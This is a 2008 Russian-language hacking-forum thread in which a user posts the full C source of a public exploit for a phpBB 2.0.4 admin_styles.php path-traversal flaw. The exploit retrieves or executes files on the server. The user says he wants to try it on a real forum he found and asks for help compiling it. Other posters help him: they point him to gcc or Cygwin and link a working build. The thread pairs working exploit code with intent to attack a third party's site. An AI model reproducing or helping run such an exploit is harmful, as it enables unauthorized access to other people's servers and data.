Помогите настроить Си сплоит

Zipper-rus · 10 Aug 2008

кароче хотел испробывать Си сплоит на форуме phpbb 2.0.4 , кароче форум такой версии я нашёл зашёл потом на страницу Уязвимостей форумов phpbb и нашёл для этого форума Сплоит

phpBB <= 2.0.4
Цель: просмотр содержимого файлов на сервере
Описание: Была выпущена в 2002. Данная версия почти не присутствует в сети.
Описание уязвимости: Некорректная обработка входных параметров в Admin_Styles.PHP.
Exploit: http://milw0rm.com/id.php?id=47

Захожу на http://milw0rm.com/id.php?id=47 копируй оттуда код и сохраняю в формате Си , вот сам код:

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

int main()
{
//The socket stuff
struct hostent *hp;
struct sockaddr_in sa;
int sock;

//The input stuff
char server[100];
char location[100];
char sfile[100];
int escapes;
char* file;

//The request stuff
char* request;
char* postdata;
char* header;

//The buffer to store the response
char buffer[4096];
int tworeturns = 0;
int showing = 0;

//Other
int i;

//Ask the server
printf("Server: ");
scanf("%100s", server);
printf("Forum location: ");
scanf("%100s", location);
printf("Directories to escape: ");
scanf("%i", &escapes);
printf("File to get/execute: ");
scanf("%100s", sfile);

//Start the exploit!
printf("\n\nStarting the exploit...\n");

//Connect to the server
printf("Creating socket... ");
if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf("Failed!\n");
return 0;
} else{ printf("Done!\n");
}

printf("Looking up server IP... ");
if((hp = gethostbyname((char*)server)) == NULL)
{
printf("Failed!\n");
return 0;
} else { printf("Done!\n");
}

printf("Connecting %s:80... ", server);
memcpy(&sa.sin_addr, hp->h_addr_list[0], hp->h_length);
sa.sin_family = AF_INET;
sa.sin_port = htons(80);
if(connect(sock, (struct sockaddr*)&sa, sizeof(sa)))
{
printf("Failed!\n");
return 0;
} else { printf("Done!\n");
}

//Create the request
printf("Building request... ");

//Create the postdata
file = (char*)malloc(sizeof(char) * (escapes * 3 + strlen(sfile) + 1));

while(escapes > 0)
{
if(escapes == 1)
{
sprintf(file, "%s%s%s", file, "..", sfile);
} else { sprintf(file, "%s%s", file, "../");
}

escapes --;
}

postdata = (char*)malloc((27 + strlen(file)) * sizeof(char));
sprintf(postdata, "send_file= &install_to=%s%s00", file, "%");

header = (char*)malloc((170 + strlen(server) + strlen(location)) *
sizeof(char));
sprintf(header, "POST /%s/admin/admin_styles.php?mode=addnew
HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nHost:
%s\r\nContent-Length: %i\r\nConnection: close\r\n\r\n", location, server,
strlen(postdata));

request = (char*)malloc((strlen(postdata) + strlen(header) + 1) *
sizeof(char));
sprintf(request, "%s%s", header, postdata);

printf("Done!\n");

//Send the request
printf("Sending request... ");
write(sock, request, strlen(request));
printf("Done!\n");

printf("\nResponse:\n");
//Get the response
while(recv(sock, buffer, 4096, 0) != 0)
{
for(i = 0; i < strlen(buffer); i++)
{
//Only show the character when it should
if(showing == 1)
{
printf("%c", buffer[ i ]);
}

//Stop showing from \n<br>\n
if(buffer[ i ] == '\n' && buffer[i + 1] == '<' && buffer[i + 2] == 'b' &&
buffer[i + 3] == 'r' && buffer[i + 4] == '>' && buffer[i + 5] == '\n' &&
showing == 1)
{
showing = 0;
tworeturns = 0;
}
//Or from \n<br />\n
if(buffer[ i ] == '\n' && buffer[i + 1] == '<' && buffer[i + 2] == 'b' &&
buffer[i + 3] == 'r' && buffer[i + 4] == ' ' && buffer[i + 5] == '/' &&
buffer[i + 6] == '>' && buffer[i + 7] == '\n' && showing == 1)
{
showing = 0;
tworeturns = 0;
}

//If there's a return and tworeturns = true, start showing it
if(buffer[ i ] == '\n' && tworeturns == 1)
{
showing = 1;
}

//If there are two returns, set tworeturns to true and add 3 to i
if(buffer[ i ] == '\r' && buffer[i + 1] == '\n' && buffer[i + 2] == '\r'
&& buffer[i + 3] == '\n')
{
tworeturns = 1;
i += 3;
}
}
}
printf("\n");

return 0;
}
Click to expand...

Потом скачал видео по компиляции сплоита и делал как там в итоге куча ошибок вот они :

Microsoft Windows XP [Версия 5.1.2600]
(С) Корпорация Майкрософт, 1985-2001.

C:\Documents and Settings\Администратор>../
".." не является внутренней или внешней
командой, исполняемой программой или пакетным файлом.

C:\Documents and Settings\Администратор>../]
".." не является внутренней или внешней
командой, исполняемой программой или пакетным файлом.

C:\Documents and Settings\Администратор>cd ../..

C:\>cd lcc

C:\lcc>lcc bin
"lcc" не является внутренней или внешней
командой, исполняемой программой или пакетным файлом.

C:\lcc>cd bin

C:\lcc\bin>lcc.exe sploit.c
cpp: sploit.c:3 Could not find include file <sys/socket.h>
cpp: sploit.c:4 Could not find include file <netinet/in.h>
cpp: sploit.c:5 Could not find include file <netdb.h>
cpp: sploit.c:101 Unterminated string or char const
cpp: sploit.c:103 Unterminated string or char const
Error sploit.c: 8 undefined size for 'incomplete struct sockaddr_in defined at
c:\lcc\bin\sploit.c 8 sa'
Warning sploit.c: 47 missing prototype for socket
Warning sploit.c: 47 Missing prototype for 'socket'
Error sploit.c: 47 undeclared identifier 'AF_INET'
Error sploit.c: 47 undeclared identifier 'SOCK_STREAM'
Warning sploit.c: 56 missing prototype for gethostbyname
Warning sploit.c: 56 Missing prototype for 'gethostbyname'
Error sploit.c: 56 operands of = have illegal types 'pointer to incomplete stru
ct hostent defined at c:\lcc\bin\sploit.c 7' and 'int'
Error sploit.c: 56 operands of == have illegal types 'int' and 'pointer to void
'
Warning sploit.c: 65 missing prototype for memcpy
Warning sploit.c: 65 Missing prototype for 'memcpy'
Error sploit.c: 65 unknown field 'sin_addr' of 'incomplete struct sockaddr_in d
efined at c:\lcc\bin\sploit.c 8'
Error sploit.c: 65 unknown field 'h_addr_list' of 'incomplete struct hostent de
fined at c:\lcc\bin\sploit.c 7'
Error sploit.c: 65 type error: pointer expected
Error sploit.c: 65 unknown field 'h_length' of 'incomplete struct hostent defin
ed at c:\lcc\bin\sploit.c 7'
Error sploit.c: 66 unknown field 'sin_family' of 'incomplete struct sockaddr_in
defined at c:\lcc\bin\sploit.c 8'
Warning sploit.c: 66 possible usage of AF_INET before definition
Error sploit.c: 67 unknown field 'sin_port' of 'incomplete struct sockaddr_in d
efined at c:\lcc\bin\sploit.c 8'
Warning sploit.c: 67 missing prototype for htons
Warning sploit.c: 67 Missing prototype for 'htons'
Warning sploit.c: 68 missing prototype for connect
Warning sploit.c: 68 Missing prototype for 'connect'
Error sploit.c: 68 invalid type argument 'incomplete struct sockaddr_in defined
at c:\lcc\bin\sploit.c 8' to 'sizeof'
Warning sploit.c: 80 missing prototype for malloc
Warning sploit.c: 80 Missing prototype for 'malloc'
Warning sploit.c: 80 missing prototype for strlen
Warning sploit.c: 80 Missing prototype for 'strlen'
Warning sploit.c: 93 Missing prototype for 'malloc'
Warning sploit.c: 93 Missing prototype for 'strlen'
Warning sploit.c: 96 Missing prototype for 'malloc'
Warning sploit.c: 96 Missing prototype for 'strlen'
Warning sploit.c: 96 Missing prototype for 'strlen'
Error sploit.c: 99 undeclared identifier 'HTTP'
Error sploit.c: 99 illegal character '\'
Error sploit.c: 99 type error in argument 2 to `sprintf'; found 'double' expect
ed 'pointer to const char'
Error sploit.c: 99 syntax error; found `r' expecting ')'
Warning sploit.c: 99 sprintf expects a char pointer as first arg, got double
Error sploit.c: 99 Syntax error; missing semicolon before `r'
Error sploit.c: 99 illegal character '\'
Error sploit.c: 99 undeclared identifier 'r'
Warning sploit.c: 99 Statement has no effect
Error sploit.c: 99 Syntax error; missing semicolon before `nContent'
Error sploit.c: 99 too many errors

C:\lcc\bin>
Click to expand...

Кароче кто разбирается подскажите как исправить ошибку !

neprovad · 10 Aug 2008

читать в школе не научили?
написано же - Could not find include file

WAR!9G · 10 Aug 2008

Рано тебе ещё сплойты запускать имхо - ничего личного. И не городи лишнее:

Microsoft Windows XP [Версия 5.1.2600]
(С) Корпорация Майкрософт, 1985-2001.

C:\Documents and Settings\Администратор>../
".." не является внутренней или внешней
командой, исполняемой программой или пакетным файлом.

C:\Documents and Settings\Администратор>../]
".." не является внутренней или внешней
командой, исполняемой программой или пакетным файлом.

C:\Documents and Settings\Администратор>cd ../..

C:\>cd lcc

C:\lcc>lcc bin
"lcc" не является внутренней или внешней
командой, исполняемой программой или пакетным файлом.

C:\lcc>cd bin
Click to expand...

Zipper-rus · 10 Aug 2008

WAR!9G опечатка просто пропускал команду cd

Zipper-rus · 10 Aug 2008

Ну так что кто нить реально поможет , а то верхние посты были не в тему

ртуть · 10 Aug 2008

gcc !!

Zipper-rus · 10 Aug 2008

хмм опять флуд((

GALIAFF · 11 Aug 2008

хмм опять флуд((
Click to expand...

)

детям сплоент не игрушка

Zipper-rus · 11 Aug 2008

Не ну харе уже , чё кто нить знает как исправить ошибки ??

SVAROG · 11 Aug 2008

у меня при компиляции вот что вылазит

PHP:

svar0g@mashine:~$ gcc phpBB.c phpBB.c: In function ‘main’: phpBB.c:76: warning: incompatible implicit declaration of built-in function ‘memcpy’ phpBB.c:91: warning: incompatible implicit declaration of built-in function ‘malloc’ phpBB.c:91: warning: incompatible implicit declaration of built-in function ‘strlen’ phpBB.c:109:18: warning: missing terminating " character phpBB.c:109: error: missing terminating " character phpBB.c:110: error: ‘HTTP’ undeclared (first use in this function) phpBB.c:110: error: (Each undeclared identifier is reported only once phpBB.c:110: error: for each function it appears in.) phpBB.c:110: error: stray ‘\’ in program phpBB.c:110: error: expected ‘)’ before ‘r’ phpBB.c:110: error: stray ‘\’ in program phpBB.c:110: error: stray ‘\’ in program phpBB.c:110: error: stray ‘\’ in program phpBB.c:111: error: stray ‘\’ in program phpBB.c:111: error: stray ‘\’ in program phpBB.c:111: error: stray ‘\’ in program phpBB.c:111: error: stray ‘\’ in program phpBB.c:111: error: stray ‘\’ in program phpBB.c:111: error: stray ‘\’ in program phpBB.c:111: error: stray ‘\’ in program phpBB.c:111: error: stray ‘\’ in program phpBB.c:111:54: warning: missing terminating " character phpBB.c:111: error: missing terminating " character

gcc version 4.2.3 (Ubuntu 4.2.3-2ubuntu7)
ругаеться на спецсимволы

SVAROG · 11 Aug 2008

вот http://ifolder.ru/7665803
всё без ошибок откомпилилось
Zipper-rus попробуй использовать gcc а не lcc

Zipper-rus · 11 Aug 2008

Ну вот только что скачал gcc , как предлагали ! Скачал весом 57 мб
gcc-4.3.1.tar.bz2. Открыл архив а там одни только файлы да папки setup.exe нету что делать дальше кто знает обьясните!

Black dead · 11 Aug 2008

Zipper-rus gcc-4.3.1.tar.bz2 эт никсовывые файлы

Zipper-rus · 11 Aug 2008

Скиньте у кого есть gcc , чтоб мона было на винде компилить!

Rubaka · 11 Aug 2008

енто тебе Сygwin скачать нады шоб откомпилить под виндой!

Zipper-rus · 11 Aug 2008

Нашёл DEV c++ ,он тоже компилятор Си и С++ кодов ! Пробывал им и в итоге вначале компиляции выходят ошибки:

Компилятор: Default compiler
Выполнение gcc.exe...
gcc.exe "C:\lcc\bin\sploit.c" -o "C:\lcc\bin\sploit.exe" -I"C:\Dev-Cpp\include" -L"C:\Dev-Cpp\lib"

C:\lcc\bin\sploit.c:3:24: sys/socket.h: No such file or directory
C:\lcc\bin\sploit.c:4:24: netinet/in.h: No such file or directory
C:\lcc\bin\sploit.c:5:19: netdb.h: No such file or directory
C:\lcc\bin\sploit.c: In function `main':
C:\lcc\bin\sploit.c:11: error: syntax error before string constant

C:\lcc\bin\sploit.c:50: error: `AF_INET' undeclared (first use in this function)
C:\lcc\bin\sploit.c:50: error: (Each undeclared identifier is reported only once
C:\lcc\bin\sploit.c:50: error: for each function it appears in.)
C:\lcc\bin\sploit.c:50: error: `SOCK_STREAM' undeclared (first use in this function)
C:\lcc\bin\sploit.c:59: warning: assignment makes pointer from integer without a cast
C:\lcc\bin\sploit.c:68: error: `sa' undeclared (first use in this function)

C:\lcc\bin\sploit.c:68: error: dereferencing pointer to incomplete type
C:\lcc\bin\sploit.c:68: error: dereferencing pointer to incomplete type

C:\lcc\bin\sploit.c:101: error: missing terminating " character
C:\lcc\bin\sploit.c:102: error: `HTTP' undeclared (first use in this function)
C:\lcc\bin\sploit.c:102: error: stray '\' in program
C:\lcc\bin\sploit.c:102: error: syntax error before "r"

C:\lcc\bin\sploit.c:102: error: stray '\' in program
C:\lcc\bin\sploit.c:102: error: stray '\' in program
C:\lcc\bin\sploit.c:102: error: stray '\' in program
C:\lcc\bin\sploit.c:103: error: stray '\' in program
C:\lcc\bin\sploit.c:103: error: stray '\' in program
C:\lcc\bin\sploit.c:103: error: stray '\' in program
C:\lcc\bin\sploit.c:103: error: stray '\' in program
C:\lcc\bin\sploit.c:103: error: stray '\' in program

C:\lcc\bin\sploit.c:103: error: stray '\' in program
C:\lcc\bin\sploit.c:103: error: stray '\' in program
C:\lcc\bin\sploit.c:103: error: stray '\' in program
C:\lcc\bin\sploit.c:103: error: missing terminating " character

Выполнение завершено
Click to expand...

Zipper-rus · 11 Aug 2008

* не обращайте внимание на путь C:\lcc\bin\ , просто там лемал Си сплоит

_nic · 11 Aug 2008

Фигово что на ачате нету раздела юмор Теме там самое место ,под названием m$ сьел мне моск.Компилить на венде вендовым компилятором исхоник с такими инклюдами
Code:
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
[\code]Это что то  :D   Спасибо что повесилили мою изтерзаную душу  :D 
ЗЫ:кто из школьников непонял то сплойт под линупс  :p  Хотя при желание его можно собрать и под вендой(Сygwin)  ;)

Neoveneficus · 11 Aug 2008

Здесь описана установка и настройка cygwin. А также объясняется как компилировать проги:

http://nguen.net/post17-cygwin_unix_in_windows.html

Лично мне эта статья в свое время помогла очень сильно. Доступно и понятно. Не забываем +

Помогите настроить Си сплоит

Zipper-rus Elder - Старейшина

neprovad Elder - Старейшина

WAR!9G Elder - Старейшина

Zipper-rus Elder - Старейшина

Zipper-rus Elder - Старейшина

ртуть Elder - Старейшина

Zipper-rus Elder - Старейшина

GALIAFF Elder - Старейшина

Zipper-rus Elder - Старейшина

SVAROG Elder - Старейшина

SVAROG Elder - Старейшина

Zipper-rus Elder - Старейшина

Black dead Elder - Старейшина

Zipper-rus Elder - Старейшина

Rubaka Elder - Старейшина

Zipper-rus Elder - Старейшина

Zipper-rus Elder - Старейшина

_nic Elder - Старейшина

Neoveneficus Elder - Старейшина

Useful Searches

Помогите настроить Си сплоит

Zipper-rus Elder - Старейшина

neprovad Elder - Старейшина

WAR!9G Elder - Старейшина

Zipper-rus Elder - Старейшина

Zipper-rus Elder - Старейшина

ртуть Elder - Старейшина

Zipper-rus Elder - Старейшина

GALIAFF Elder - Старейшина

Zipper-rus Elder - Старейшина

SVAROG Elder - Старейшина

SVAROG Elder - Старейшина

Zipper-rus Elder - Старейшина

Black dead Elder - Старейшина

Zipper-rus Elder - Старейшина

Rubaka Elder - Старейшина

Zipper-rus Elder - Старейшина

Zipper-rus Elder - Старейшина

_nic Elder - Старейшина

Neoveneficus Elder - Старейшина